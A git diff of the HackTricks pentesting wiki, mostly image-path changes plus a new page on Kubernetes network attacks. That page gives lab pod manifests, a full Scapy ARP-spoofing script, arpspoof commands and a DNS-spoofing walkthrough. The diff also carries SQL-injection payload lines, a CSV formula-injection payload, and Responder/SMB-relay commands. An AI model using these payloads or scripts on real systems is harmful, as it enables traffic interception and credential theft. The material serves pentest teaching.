")||true||("
|
||||||
|
')||'2'LiKE('2
|
||||||
|
')||'2'LiKE'2'-- 2
|
||||||
|
')||'2'LiKE'2'#
|
||||||
|
')||'2'LiKE'2'/*
|
||||||
|
')||'2'LiKE'2'||('
|
||||||
|
')||(2)LiKE(2)-- 2
|
||||||
|
')||(2)LiKE(2)#
|
||||||
|
')||(2)LiKE(2)/*
|
||||||
|
')||(2)LiKE(2)||('
|
||||||
|
")||"2"LiKE("2
|
||||||
|
")||"2"LiKE"2"-- 2
|
||||||
|
")||"2"LiKE"2"#
|
||||||
|
")||"2"LiKE"2"/*
|
||||||
|
")||"2"LiKE"2"||("
|
||||||
|
")||(2)LiKE(2)-- 2
|
||||||
|
")||(2)LiKE(2)#
|
||||||
|
")||(2)LiKE(2)/*
|
||||||
|
")||(2)LiKE(2)||("
|
||||||
|
' UnION SELeCT 1,2`
|
||||||
|
' UnION SELeCT 1,2,3`
|
||||||
|
' UnION SELeCT 1,2,3,4`
|
||||||
|
' UnION SELeCT 1,2,3,4,5`
|
||||||
|
" UnION SELeCT 1,2`
|
||||||
|
" UnION SELeCT 1,2,3`
|
||||||
|
" UnION SELeCT 1,2,3,4`
|
||||||
|
" UnION SELeCT 1,2,3,4,5`
|
|
@ -10,7 +10,7 @@ dht udp "DHT Nodes"
|
||||||
|
|
||||||
![](<.gitbook/assets/image (273).png>)
|
![](<.gitbook/assets/image (273).png>)
|
||||||
|
|
||||||
![](<.gitbook/assets/image (345) (2) (2) (2) (2) (2) (2) (2) (2) (2) (1) (2) (1).png>)
|
![](<.gitbook/assets/image (345) (2) (2) (2) (2) (2) (2) (2) (2) (2) (1) (2) (1) (1).png>)
|
||||||
|
|
||||||
InfluxDB
|
InfluxDB
|
||||||
|
|
||||||
|
|
|
@ -531,6 +531,7 @@
|
||||||
* [Monitoring with Falco](pentesting/pentesting-kubernetes/kubernetes-hardening/monitoring-with-falco.md)
|
* [Monitoring with Falco](pentesting/pentesting-kubernetes/kubernetes-hardening/monitoring-with-falco.md)
|
||||||
* [Kubernetes SecurityContext(s)](pentesting/pentesting-kubernetes/kubernetes-hardening/kubernetes-securitycontext-s.md)
|
* [Kubernetes SecurityContext(s)](pentesting/pentesting-kubernetes/kubernetes-hardening/kubernetes-securitycontext-s.md)
|
||||||
* [Kubernetes NetworkPolicies](pentesting/pentesting-kubernetes/kubernetes-hardening/kubernetes-networkpolicies.md)
|
* [Kubernetes NetworkPolicies](pentesting/pentesting-kubernetes/kubernetes-hardening/kubernetes-networkpolicies.md)
|
||||||
|
* [Kubernetes Network Attacks](cloud-security/pentesting-kubernetes/kubernetes-network-attacks.md)
|
||||||
* [Concourse](cloud-security/concourse/README.md)
|
* [Concourse](cloud-security/concourse/README.md)
|
||||||
* [Concourse Architecture](cloud-security/concourse/concourse-architecture.md)
|
* [Concourse Architecture](cloud-security/concourse/concourse-architecture.md)
|
||||||
* [Concourse Lab Creation](cloud-security/concourse/concourse-lab-creation.md)
|
* [Concourse Lab Creation](cloud-security/concourse/concourse-lab-creation.md)
|
||||||
|
|
|
@ -0,0 +1,286 @@
|
||||||
|
# Kubernetes Network Attacks
|
||||||
|
|
||||||
|
## Introduction
|
||||||
|
|
||||||
|
Kubernetes by default **connects** all the **containers running in the same node** (even if they belong to different namespaces) down to **Layer 2** (ethernet). This allows a malicious containers to perform an [**ARP spoofing attack**](../../pentesting/pentesting-network/#arp-spoofing) to the containers on the same node and capture their traffic.
|
||||||
|
|
||||||
|
In the scenario 4 machines are going to be created:
|
||||||
|
|
||||||
|
* ubuntu-pe: Privileged machine to escape to the node and check metrics (not needed for the attack)
|
||||||
|
* **ubuntu-attack**: **Malicious** container in default namespace
|
||||||
|
* **ubuntu-victim**: **Victim** machine in kube-system namespace
|
||||||
|
* **mysql**: **Victim** machine in default namespace
|
||||||
|
|
||||||
|
```yaml
|
||||||
|
echo 'apiVersion: v1
|
||||||
|
kind: Pod
|
||||||
|
metadata:
|
||||||
|
name: ubuntu-pe
|
||||||
|
spec:
|
||||||
|
containers:
|
||||||
|
- image: ubuntu
|
||||||
|
command:
|
||||||
|
- "sleep"
|
||||||
|
- "360000"
|
||||||
|
imagePullPolicy: IfNotPresent
|
||||||
|
name: ubuntu-pe
|
||||||
|
securityContext:
|
||||||
|
allowPrivilegeEscalation: true
|
||||||
|
privileged: true
|
||||||
|
runAsUser: 0
|
||||||
|
volumeMounts:
|
||||||
|
- mountPath: /host
|
||||||
|
name: host-volume
|
||||||
|
restartPolicy: Never
|
||||||
|
hostIPC: true
|
||||||
|
hostNetwork: true
|
||||||
|
hostPID: true
|
||||||
|
volumes:
|
||||||
|
- name: host-volume
|
||||||
|
hostPath:
|
||||||
|
path: /
|
||||||
|
---
|
||||||
|
apiVersion: v1
|
||||||
|
kind: Pod
|
||||||
|
metadata:
|
||||||
|
name: ubuntu-attack
|
||||||
|
labels:
|
||||||
|
app: ubuntu
|
||||||
|
spec:
|
||||||
|
containers:
|
||||||
|
- image: ubuntu
|
||||||
|
command:
|
||||||
|
- "sleep"
|
||||||
|
- "360000"
|
||||||
|
imagePullPolicy: IfNotPresent
|
||||||
|
name: ubuntu-attack
|
||||||
|
restartPolicy: Never
|
||||||
|
---
|
||||||
|
apiVersion: v1
|
||||||
|
kind: Pod
|
||||||
|
metadata:
|
||||||
|
name: ubuntu-victim
|
||||||
|
namespace: kube-system
|
||||||
|
spec:
|
||||||
|
containers:
|
||||||
|
- image: ubuntu
|
||||||
|
command:
|
||||||
|
- "sleep"
|
||||||
|
- "360000"
|
||||||
|
imagePullPolicy: IfNotPresent
|
||||||
|
name: ubuntu-victim
|
||||||
|
restartPolicy: Never
|
||||||
|
---
|
||||||
|
apiVersion: v1
|
||||||
|
kind: Pod
|
||||||
|
metadata:
|
||||||
|
name: mysql
|
||||||
|
spec:
|
||||||
|
containers:
|
||||||
|
- image: mysql:5.6
|
||||||
|
ports:
|
||||||
|
- containerPort: 3306
|
||||||
|
imagePullPolicy: IfNotPresent
|
||||||
|
name: mysql
|
||||||
|
env:
|
||||||
|
- name: MYSQL_ROOT_PASSWORD
|
||||||
|
value: mysql
|
||||||
|
restartPolicy: Never' | kubectl apply -f -
|
||||||
|
```
|
||||||
|
|
||||||
|
```bash
|
||||||
|
kubectl exec -it ubuntu-attack -- bash -c "apt update; apt install -y net-tools python3-pip python3 ngrep nano dnsutils; pip3 install scapy; bash"
|
||||||
|
kubectl exec -it ubuntu-victim -n kube-system -- bash -c "apt update; apt install -y net-tools curl netcat mysql-client; bash"
|
||||||
|
kubectl exec -it mysql bash -- bash -c "apt update; apt install -y net-tools; bash"
|
||||||
|
```
|
||||||
|
|
||||||
|
## Basic Kubernetes Networking
|
||||||
|
|
||||||
|
If you want more details about the networking topics introduced here, go to the references.
|
||||||
|
|
||||||
|
### ARP
|
||||||
|
|
||||||
|
Generally speaking, **pod-to-pod networking inside the node** is available via a **bridge** that connects all pods. This bridge is called “**cbr0**”. (Some network plugins will install their own bridge.) The **cbr0 can also handle ARP** (Address Resolution Protocol) resolution. When an incoming packet arrives at cbr0, it can resolve the destination MAC address using ARP.
|
||||||
|
|
||||||
|
![](<../../.gitbook/assets/image (637).png>)
|
||||||
|
|
||||||
|
This fact implies that, by default, **every pod running in the same node** is going to be able to **communicate** with any other pod in the same node (independently of the namespace) at ethernet level (layer 2).
|
||||||
|
|
||||||
|
{% hint style="warning" %}
|
||||||
|
Therefore, it's possible to perform A**RP Spoofing attacks between pods in the same node.**
|
||||||
|
{% endhint %}
|
||||||
|
|
||||||
|
### DNS
|
||||||
|
|
||||||
|
In kubernetes environments you will usually find 1 (or more) **DNS services running** usually in the kube-system namespace:
|
||||||
|
|
||||||
|
```bash
|
||||||
|
kubectl -n kube-system describe services
|
||||||
|
Name: kube-dns
|
||||||
|
Namespace: kube-system
|
||||||
|
Labels: k8s-app=kube-dns
|
||||||
|
kubernetes.io/cluster-service=true
|
||||||
|
kubernetes.io/name=KubeDNS
|
||||||
|
Annotations: prometheus.io/port: 9153
|
||||||
|
prometheus.io/scrape: true
|
||||||
|
Selector: k8s-app=kube-dns
|
||||||
|
Type: ClusterIP
|
||||||
|
IP Families: <none>
|
||||||
|
IP: 10.96.0.10
|
||||||
|
IPs: 10.96.0.10
|
||||||
|
Port: dns 53/UDP
|
||||||
|
TargetPort: 53/UDP
|
||||||
|
Endpoints: 172.17.0.2:53
|
||||||
|
Port: dns-tcp 53/TCP
|
||||||
|
TargetPort: 53/TCP
|
||||||
|
Endpoints: 172.17.0.2:53
|
||||||
|
Port: metrics 9153/TCP
|
||||||
|
TargetPort: 9153/TCP
|
||||||
|
Endpoints: 172.17.0.2:9153
|
||||||
|
```
|
||||||
|
|
||||||
|
In the previous info you can see something interesting, the **IP of the service** is **10.96.0.10** but the **IP of the pod** running the service is **172.17.0.2.**
|
||||||
|
|
||||||
|
If you check the DNS address inside any pod you will find something like this:
|
||||||
|
|
||||||
|
```
|
||||||
|
cat /etc/resolv.conf
|
||||||
|
nameserver 10.96.0.10
|
||||||
|
```
|
||||||
|
|
||||||
|
However, the pod **doesn't know** how to get to that **address** because the **pod range** in this case is 172.17.0.10/26.
|
||||||
|
|
||||||
|
Therefore, the pod will send the **DNS requests to the address 10.96.0.10** which will be **translated** by the cbr0 **to** **172.17.0.2**.
|
||||||
|
|
||||||
|
{% hint style="warning" %}
|
||||||
|
This means that a **DNS request** of a pod is **always** going to go the **bridge** to **translate** the **service IP to the endpoint IP**, even if the DNS server is in the same subnetwork as the pod.
|
||||||
|
|
||||||
|
Knowing this, and knowing **ARP attacks are possible**, a **pod** in a node is going to be able to **intercept the traffic** between **each pod** in the **subnetwork** and the **bridge** and **modify** the **DNS responses** from the DNS server (**DNS Spoofing**).
|
||||||
|
|
||||||
|
Moreover, if the **DNS server** is in the **same node as the attacker**, the attacker can **intercept all the DNS request** of any pod in the cluster (between the DNS server and the bridge) and modify the responses.
|
||||||
|
{% endhint %}
|
||||||
|
|
||||||
|
## ARP Spoofing in pods in the same Node
|
||||||
|
|
||||||
|
Our goal is to **steal at least the communication from the ubuntu-victim to the mysql**.
|
||||||
|
|
||||||
|
### Scapy
|
||||||
|
|
||||||
|
```bash
|
||||||
|
python3 /tmp/arp_spoof.py
|
||||||
|
Enter Target IP:172.17.0.10 #ubuntu-victim
|
||||||
|
Enter Gateway IP:172.17.0.9 #mysql
|
||||||
|
Target MAC 02:42:ac:11:00:0a
|
||||||
|
Gateway MAC: 02:42:ac:11:00:09
|
||||||
|
Sending spoofed ARP responses
|
||||||
|
|
||||||
|
# Get another shell
|
||||||
|
kubectl exec -it ubuntu-attack -- bash
|
||||||
|
ngrep -d eth0
|
||||||
|
|
||||||
|
# Login from ubuntu-victim and mysql and check the unencrypted communication
|
||||||
|
# interacting with the mysql instance
|
||||||
|
```
|
||||||
|
|
||||||
|
{% code title="arp_spoof.py" %}
|
||||||
|
```python
|
||||||
|
#From https://gist.github.com/rbn15/bc054f9a84489dbdfc35d333e3d63c87#file-arpspoofer-py
|
||||||
|
from scapy.all import *
|
||||||
|
|
||||||
|
def getmac(targetip):
|
||||||
|
arppacket= Ether(dst="ff:ff:ff:ff:ff:ff")/ARP(op=1, pdst=targetip)
|
||||||
|
targetmac= srp(arppacket, timeout=2 , verbose= False)[0][0][1].hwsrc
|
||||||
|
return targetmac
|
||||||
|
|
||||||
|
def spoofarpcache(targetip, targetmac, sourceip):
|
||||||
|
spoofed= ARP(op=2 , pdst=targetip, psrc=sourceip, hwdst= targetmac)
|
||||||
|
send(spoofed, verbose= False)
|
||||||
|
|
||||||
|
def restorearp(targetip, targetmac, sourceip, sourcemac):
|
||||||
|
packet= ARP(op=2 , hwsrc=sourcemac , psrc= sourceip, hwdst= targetmac , pdst= targetip)
|
||||||
|
send(packet, verbose=False)
|
||||||
|
print("ARP Table restored to normal for", targetip)
|
||||||
|
|
||||||
|
def main():
|
||||||
|
targetip= input("Enter Target IP:")
|
||||||
|
gatewayip= input("Enter Gateway IP:")
|
||||||
|
|
||||||
|
try:
|
||||||
|
targetmac= getmac(targetip)
|
||||||
|
print("Target MAC", targetmac)
|
||||||
|
except:
|
||||||
|
print("Target machine did not respond to ARP broadcast")
|
||||||
|
quit()
|
||||||
|
|
||||||
|
try:
|
||||||
|
gatewaymac= getmac(gatewayip)
|
||||||
|
print("Gateway MAC:", gatewaymac)
|
||||||
|
except:
|
||||||
|
print("Gateway is unreachable")
|
||||||
|
quit()
|
||||||
|
try:
|
||||||
|
print("Sending spoofed ARP responses")
|
||||||
|
while True:
|
||||||
|
spoofarpcache(targetip, targetmac, gatewayip)
|
||||||
|
spoofarpcache(gatewayip, gatewaymac, targetip)
|
||||||
|
except KeyboardInterrupt:
|
||||||
|
print("ARP spoofing stopped")
|
||||||
|
restorearp(gatewayip, gatewaymac, targetip, targetmac)
|
||||||
|
restorearp(targetip, targetmac, gatewayip, gatewaymac)
|
||||||
|
quit()
|
||||||
|
|
||||||
|
if __name__=="__main__":
|
||||||
|
main()
|
||||||
|
|
||||||
|
# To enable IP forwarding: echo 1 > /proc/sys/net/ipv4/ip_forward
|
||||||
|
```
|
||||||
|
{% endcode %}
|
||||||
|
|
||||||
|
### ARPSpoof
|
||||||
|
|
||||||
|
```bash
|
||||||
|
apt install dsniff
|
||||||
|
arpspoof -t 172.17.0.9 172.17.0.10
|
||||||
|
```
|
||||||
|
|
||||||
|
## DNS Spoofing
|
||||||
|
|
||||||
|
As it was already mentioned, if you **compromise a pod in the same node of the DNS server pod**, you can **MitM** with **ARPSpoofing** the **bridge and the DNS** pod and **modify all the DNS responses**.
|
||||||
|
|
||||||
|
You have a really nice **tool** and **tutorial** to test this in [**https://github.com/danielsagi/kube-dnsspoof/**](https://github.com/danielsagi/kube-dnsspoof/)****
|
||||||
|
|
||||||
|
In our scenario, **download** the **tool** in the attacker pod and create a **file named `hosts` ** with the **domains** you want to **spoof** like:
|
||||||
|
|
||||||
|
```
|
||||||
|
cat hosts
|
||||||
|
google.com. 1.1.1.1
|
||||||
|
```
|
||||||
|
|
||||||
|
Perform the attack to the ubuntu-victim machine:
|
||||||
|
|
||||||
|
```
|
||||||
|
python3 exploit.py --direct 172.17.0.10
|
||||||
|
[*] starting attack on direct mode to pod 172.17.0.10
|
||||||
|
Bridge: 172.17.0.1 02:42:bd:63:07:8d
|
||||||
|
Kube-dns: 172.17.0.2 02:42:ac:11:00:02
|
||||||
|
|
||||||
|
[+] Taking over DNS requests from kube-dns. press Ctrl+C to stop
|
||||||
|
```
|
||||||
|
|
||||||
|
```bash
|
||||||
|
#In the ubuntu machine
|
||||||
|
dig google.com
|
||||||
|
[...]
|
||||||
|
;; ANSWER SECTION:
|
||||||
|
google.com. 1 IN A 1.1.1.1
|
||||||
|
```
|
||||||
|
|
||||||
|
{% hint style="info" %}
|
||||||
|
If you try to create your own DNS spoofing script, if you **just modify the the DNS response** that is **not** going to **work**, because the **response** is going to have a **src IP** the IP address of the **malicious** **pod** and **won't** be **accepted**.\
|
||||||
|
You need to generate a **new DNS packet** with the **src IP** of the **DNS** where the victim send the DNS request (which is something like 172.16.0.2, not 10.96.0.10, thats the K8s DNS service IP and not the DNS server ip, more about this in the introduction).
|
||||||
|
{% endhint %}
|
||||||
|
|
||||||
|
## References
|
||||||
|
|
||||||
|
* ****[https://www.cyberark.com/resources/threat-research-blog/attacking-kubernetes-clusters-through-your-network-plumbing-part-1](https://www.cyberark.com/resources/threat-research-blog/attacking-kubernetes-clusters-through-your-network-plumbing-part-1)
|
||||||
|
* [https://blog.aquasec.com/dns-spoofing-kubernetes-clusters](https://blog.aquasec.com/dns-spoofing-kubernetes-clusters)
|
|
@ -389,7 +389,7 @@ Get the address to this table with: **`objdump -s -j .got ./exec`**
|
||||||
|
|
||||||
Observe how after **loading** the **executable** in GEF you can **see** the **functions** that are in the **GOT**: `gef➤ x/20x 0xDIR_GOT`
|
Observe how after **loading** the **executable** in GEF you can **see** the **functions** that are in the **GOT**: `gef➤ x/20x 0xDIR_GOT`
|
||||||
|
|
||||||
![](<../../.gitbook/assets/image (621) (1) (1) (1).png>)
|
![](<../../.gitbook/assets/image (621) (1) (1) (1) (1).png>)
|
||||||
|
|
||||||
Using GEF you can **start** a **debugging** session and execute **`got`** to see the got table:
|
Using GEF you can **start** a **debugging** session and execute **`got`** to see the got table:
|
||||||
|
|
||||||
|
|
|
@ -47,7 +47,7 @@ From the **bytes 440 to the 443** of the MBR you can find the **Windows Disk Sig
|
||||||
|
|
||||||
In order to mount a MBR in Linux you first need to get the start offset (you can use `fdisk` and the the `p` command)
|
In order to mount a MBR in Linux you first need to get the start offset (you can use `fdisk` and the the `p` command)
|
||||||
|
|
||||||
![](<../../../.gitbook/assets/image (413) (3) (3) (3) (2) (2) (2).png>)
|
![](<../../../.gitbook/assets/image (413) (3) (3) (3) (2) (2) (1) (2).png>)
|
||||||
|
|
||||||
An then use the following code
|
An then use the following code
|
||||||
|
|
||||||
|
|
|
@ -134,7 +134,7 @@ The files in the folder WPDNSE are a copy of the original ones, then won't survi
|
||||||
|
|
||||||
Check the file `C:\Windows\inf\setupapi.dev.log` to get the timestamps about when the USB connection was produced (search for `Section start`).
|
Check the file `C:\Windows\inf\setupapi.dev.log` to get the timestamps about when the USB connection was produced (search for `Section start`).
|
||||||
|
|
||||||
![](<../../../.gitbook/assets/image (477) (2) (2) (2) (2) (2) (2) (2) (3) (2) (2).png>)
|
![](<../../../.gitbook/assets/image (477) (2) (2) (2) (2) (2) (2) (2) (3) (2) (1) (2).png>)
|
||||||
|
|
||||||
### USB Detective
|
### USB Detective
|
||||||
|
|
||||||
|
|
|
@ -154,6 +154,6 @@ If you want to **know** about my **latest modifications**/**additions** or you h
|
||||||
If you want to **share some tricks with the community** you can also submit **pull requests** to [**https://github.com/carlospolop/hacktricks**](https://github.com/carlospolop/hacktricks) that will be reflected in this book.\
|
If you want to **share some tricks with the community** you can also submit **pull requests** to [**https://github.com/carlospolop/hacktricks**](https://github.com/carlospolop/hacktricks) that will be reflected in this book.\
|
||||||
Don't forget to **give ⭐ on the github** to motivate me to continue developing this book.
|
Don't forget to **give ⭐ on the github** to motivate me to continue developing this book.
|
||||||
|
|
||||||
![](<../.gitbook/assets/68747470733a2f2f7777772e6275796d6561636f666665652e636f6d2f6173736574732f696d672f637573746f6d5f696d616765732f6f72616e67655f696d672e706e67 (6) (4) (1) (1) (3).png>)
|
![](<../.gitbook/assets/68747470733a2f2f7777772e6275796d6561636f666665652e636f6d2f6173736574732f696d672f637573746f6d5f696d616765732f6f72616e67655f696d672e706e67 (6) (4) (1) (1) (2) (14).png>)
|
||||||
|
|
||||||
[**Buy me a coffee here**](https://www.buymeacoffee.com/carlospolop)
|
[**Buy me a coffee here**](https://www.buymeacoffee.com/carlospolop)
|
||||||
|
|
|
@ -128,7 +128,7 @@ The response is a JSON dictionary with some important data like:
|
||||||
* Signed using the **device identity certificate (from APNS)**
|
* Signed using the **device identity certificate (from APNS)**
|
||||||
* **Certificate chain** includes expired **Apple iPhone Device CA**
|
* **Certificate chain** includes expired **Apple iPhone Device CA**
|
||||||
|
|
||||||
![](<../../../.gitbook/assets/image (567) (1) (2) (2) (2) (2) (2) (2) (2) (1) (2) (1).png>)
|
![](<../../../.gitbook/assets/image (567) (1) (2) (2) (2) (2) (2) (2) (2) (1) (2) (1) (1).png>)
|
||||||
|
|
||||||
### Step 6: Profile Installation
|
### Step 6: Profile Installation
|
||||||
|
|
||||||
|
|
|
@ -66,6 +66,6 @@ If you want to **know** about my **latest modifications**/**additions** or you h
|
||||||
\*\*\*\*If you want to **share some tricks with the community** you can also submit **pull requests** to [**https://github.com/carlospolop/hacktricks**](https://github.com/carlospolop/hacktricks) that will be reflected in this book.\
|
\*\*\*\*If you want to **share some tricks with the community** you can also submit **pull requests** to [**https://github.com/carlospolop/hacktricks**](https://github.com/carlospolop/hacktricks) that will be reflected in this book.\
|
||||||
Don't forget to **give ⭐ on the github** to motivate me to continue developing this book.
|
Don't forget to **give ⭐ on the github** to motivate me to continue developing this book.
|
||||||
|
|
||||||
![](<../.gitbook/assets/68747470733a2f2f7777772e6275796d6561636f666665652e636f6d2f6173736574732f696d672f637573746f6d5f696d616765732f6f72616e67655f696d672e706e67 (6) (4) (1) (5).png>)
|
![](<../.gitbook/assets/68747470733a2f2f7777772e6275796d6561636f666665652e636f6d2f6173736574732f696d672f637573746f6d5f696d616765732f6f72616e67655f696d672e706e67 (6) (4) (1) (1) (2) (5).png>)
|
||||||
|
|
||||||
[**Buy me a coffee here**](https://www.buymeacoffee.com/carlospolop)\*\*\*\*
|
[**Buy me a coffee here**](https://www.buymeacoffee.com/carlospolop)\*\*\*\*
|
||||||
|
|
|
@ -608,7 +608,7 @@ Many apps log informative (and potentially sensitive) messages to the console lo
|
||||||
5. Reproduce the problem.
|
5. Reproduce the problem.
|
||||||
6. Click on the **Open Console** button located in the upper right-hand area of the Devices window to view the console logs on a separate window.
|
6. Click on the **Open Console** button located in the upper right-hand area of the Devices window to view the console logs on a separate window.
|
||||||
|
|
||||||
![](<../../.gitbook/assets/image (466) (2) (2) (2) (2) (2) (2) (2) (3) (2) (2).png>)
|
![](<../../.gitbook/assets/image (466) (2) (2) (2) (2) (2) (2) (2) (3) (2) (1) (2).png>)
|
||||||
|
|
||||||
You can also connect to the device shell as explained in Accessing the Device Shell, install **socat** via **apt-get** and run the following command:
|
You can also connect to the device shell as explained in Accessing the Device Shell, install **socat** via **apt-get** and run the following command:
|
||||||
|
|
||||||
|
|
|
@ -41,7 +41,7 @@ The good news is that **this payload is executed automatically when the file is
|
||||||
|
|
||||||
It's possible to execute a calculator with the following payload **`=cmd|' /C calc'!xxx`**
|
It's possible to execute a calculator with the following payload **`=cmd|' /C calc'!xxx`**
|
||||||
|
|
||||||
![](<../.gitbook/assets/image (25) (2) (2) (2) (2) (2) (2) (2) (2) (1) (2) (1).png>)
|
![](<../.gitbook/assets/image (25) (2) (2) (2) (2) (2) (2) (2) (2) (1) (2) (1) (1).png>)
|
||||||
|
|
||||||
### More
|
### More
|
||||||
|
|
||||||
|
|
|
@ -8,7 +8,7 @@
|
||||||
|
|
||||||
## Attacks Graphic
|
## Attacks Graphic
|
||||||
|
|
||||||
![](<../../.gitbook/assets/image (535) (1) (1) (2) (2) (2) (2) (2) (2) (1) (2) (3).png>)
|
![](<../../.gitbook/assets/image (535) (1) (1) (2) (2) (2) (2) (2) (2) (1) (2) (1) (3).png>)
|
||||||
|
|
||||||
## Tool
|
## Tool
|
||||||
|
|
||||||
|
|
|
@ -150,7 +150,7 @@ etcdctl --endpoints=http://<MASTER-IP>:2379 get / --prefix --keys-only
|
||||||
|
|
||||||
The [**Kubelet documentation**](https://kubernetes.io/docs/reference/command-line-tools-reference/kubelet/) explains that by **default anonymous acce**ss to the service is **allowed:**
|
The [**Kubelet documentation**](https://kubernetes.io/docs/reference/command-line-tools-reference/kubelet/) explains that by **default anonymous acce**ss to the service is **allowed:**
|
||||||
|
|
||||||
![](<../../.gitbook/assets/image (637) (1).png>)
|
![](<../../.gitbook/assets/image (637) (1) (1).png>)
|
||||||
|
|
||||||
The **Kubelet** service **API is not documented**, but the source code can be found here and finding the exposed endpoints is as easy as **running**:
|
The **Kubelet** service **API is not documented**, but the source code can be found here and finding the exposed endpoints is as easy as **running**:
|
||||||
|
|
||||||
|
|
|
@ -1,4 +1,4 @@
|
||||||
# Spoofing LLMNR, NBT-NS, mDNS/DNS, DHCP and WPAD and Relay Attacks
|
# Spoofing LLMNR, NBT-NS, mDNS/DNS and WPAD and Relay Attacks
|
||||||
|
|
||||||
## Network protocols
|
## Network protocols
|
||||||
|
|
||||||
|
@ -21,7 +21,7 @@ Responder automates the WPAD attack—running a proxy and directing clients to a
|
||||||
|
|
||||||
## Responder
|
## Responder
|
||||||
|
|
||||||
> Responder an LLMNR, NBT-NS and MDNS poisoner. It will answer to *specific* NBT-NS (NetBIOS Name Service) queries based on their name suffix (see: [http://support.microsoft.com/kb/163409](http://support.microsoft.com/kb/163409)). By default, the tool will only answer to File Server Service request, which is for SMB.
|
> Responder an LLMNR, NBT-NS and MDNS poisoner. It will answer to _specific_ NBT-NS (NetBIOS Name Service) queries based on their name suffix (see: [http://support.microsoft.com/kb/163409](http://support.microsoft.com/kb/163409)). By default, the tool will only answer to File Server Service request, which is for SMB.
|
||||||
>
|
>
|
||||||
> The concept behind this is to target our answers, and be stealthier on the network. This also helps to ensure that we don't break legitimate NBT-NS behavior. You can set the -r option via command line if you want to answer to the Workstation Service request name suffix.
|
> The concept behind this is to target our answers, and be stealthier on the network. This also helps to ensure that we don't break legitimate NBT-NS behavior. You can set the -r option via command line if you want to answer to the Workstation Service request name suffix.
|
||||||
|
|
||||||
|
@ -31,10 +31,9 @@ You can find here Responder for **windows** [here](https://github.com/lgandx/Res
|
||||||
|
|
||||||
> Responder works in ipv4 & **ipv6**
|
> Responder works in ipv4 & **ipv6**
|
||||||
|
|
||||||
|
|
||||||
Options are the following :
|
Options are the following :
|
||||||
|
|
||||||
```text
|
```
|
||||||
--version show program's version number and exit
|
--version show program's version number and exit
|
||||||
-h, --help show this help message and exit
|
-h, --help show this help message and exit
|
||||||
-A, --analyze Analyze mode. This option allows you to see NBT-NS,
|
-A, --analyze Analyze mode. This option allows you to see NBT-NS,
|
||||||
|
@ -81,7 +80,6 @@ To run default Responder behaviour you only have to execute:
|
||||||
responder -I <Iface> -Pv
|
responder -I <Iface> -Pv
|
||||||
```
|
```
|
||||||
|
|
||||||
|
|
||||||
An interesting technique is to use responder to downgrade the NTLM authentication when possible. This will allow to **capture NTLMv1 challenges and responses** instead of NTLMv2 that can be **easily cracked** [**following this guide**](../../windows/ntlm/#ntlmv1-attack)**.**
|
An interesting technique is to use responder to downgrade the NTLM authentication when possible. This will allow to **capture NTLMv1 challenges and responses** instead of NTLMv2 that can be **easily cracked** [**following this guide**](../../windows/ntlm/#ntlmv1-attack)**.**
|
||||||
|
|
||||||
```bash
|
```bash
|
||||||
|
@ -119,14 +117,13 @@ However, spoofing DHCP answers has unique benefits. **It's definitely stealthier
|
||||||
./Responder.py -I eth0 -rPdv
|
./Responder.py -I eth0 -rPdv
|
||||||
```
|
```
|
||||||
|
|
||||||
|
|
||||||
## Capturing credentials
|
## Capturing credentials
|
||||||
|
|
||||||
Responder is going to **impersonate all the service using the mentioned protocols**. Once some user try to access a service being resolved using those protocols, **he will try to authenticate against Responde**r and Responder will be able to **capture** the "credentials" (most probably a **NTLMv2 Challenge/Response**):
|
Responder is going to **impersonate all the service using the mentioned protocols**. Once some user try to access a service being resolved using those protocols, **he will try to authenticate against Responde**r and Responder will be able to **capture** the "credentials" (most probably a **NTLMv2 Challenge/Response**):
|
||||||
|
|
||||||
It is possible to try to downgrade to NetNTLMv1 or to try to disable ESS.
|
It is possible to try to downgrade to NetNTLMv1 or to try to disable ESS.
|
||||||
|
|
||||||
![](<../../.gitbook/assets/poison (1) (1).jpg>)
|
![](<../../.gitbook/assets/poison (1) (1) (1).jpg>)
|
||||||
|
|
||||||
## Inveigh
|
## Inveigh
|
||||||
|
|
||||||
|
@ -140,8 +137,7 @@ It is possible to try to downgrade to NetNTLMv1 or to try to disable ESS.
|
||||||
|
|
||||||
**Most of the information for this section was taken from** [**https://intrinium.com/smb-relay-attack-tutorial/**](https://intrinium.com/smb-relay-attack-tutorial/)
|
**Most of the information for this section was taken from** [**https://intrinium.com/smb-relay-attack-tutorial/**](https://intrinium.com/smb-relay-attack-tutorial/)
|
||||||
|
|
||||||
This attack uses the Responder toolkit to **capture SMB authentication sessions** on an internal network, and **relays** them to a **target machine**. If the authentication **session is successful**, it will automatically drop you into a **system** **shell**.
|
This attack uses the Responder toolkit to **capture SMB authentication sessions** on an internal network, and **relays** them to a **target machine**. If the authentication **session is successful**, it will automatically drop you into a **system** **shell**. Please, note that the relayed authentication must be from a **user which has Local Admin access to the relayed** host and **SMB signing must be disabled**.
|
||||||
Please, note that the relayed authentication must be from a **user which has Local Admin access to the relayed** host and **SMB signing must be disabled**.
|
|
||||||
|
|
||||||
The 3 main **tools** to perform this attack are: **smb\_relay** (metasploit), **MultyRelay** (responder), and **smbrealyx** (impacket).
|
The 3 main **tools** to perform this attack are: **smb\_relay** (metasploit), **MultyRelay** (responder), and **smbrealyx** (impacket).
|
||||||
|
|
||||||
|
@ -149,8 +145,7 @@ Independently of the tool, first, you need to **turn Off SMB and HTTP servers**
|
||||||
|
|
||||||
You can perform this attack using **metasploit module**: `exploit/windows/smb/smb_relay`
|
You can perform this attack using **metasploit module**: `exploit/windows/smb/smb_relay`
|
||||||
|
|
||||||
The option `SRVHOST` is used to point the server **were you want to get access**.
|
The option `SRVHOST` is used to point the server **were you want to get access**. Then, when **any host try to authenticate against you**, metasploit will **try to authenticate against the other** server.
|
||||||
Then, when **any host try to authenticate against you**, metasploit will **try to authenticate against the other** server.
|
|
||||||
|
|
||||||
You **can't authenticate against the same host that is trying to authenticate against you** (MS08-068). **Metasploit** will **always** send a "_**Denied**_" **response** to the **client** that is trying to connect to you.
|
You **can't authenticate against the same host that is trying to authenticate against you** (MS08-068). **Metasploit** will **always** send a "_**Denied**_" **response** to the **client** that is trying to connect to you.
|
||||||
|
|
||||||
|
@ -166,7 +161,7 @@ If you want to use **MultiRelay**, go to _**/usr/share/responder/tools**_ and ex
|
||||||
python MultiRelay.py -t <IP target> -u ALL #If "ALL" then all users are relayed
|
python MultiRelay.py -t <IP target> -u ALL #If "ALL" then all users are relayed
|
||||||
```
|
```
|
||||||
|
|
||||||
![](<../../.gitbook/assets/image (209) (1).png>)
|
![](<../../.gitbook/assets/image (209).png>)
|
||||||
|
|
||||||
### Post-Exploitation (MultiRelay)
|
### Post-Exploitation (MultiRelay)
|
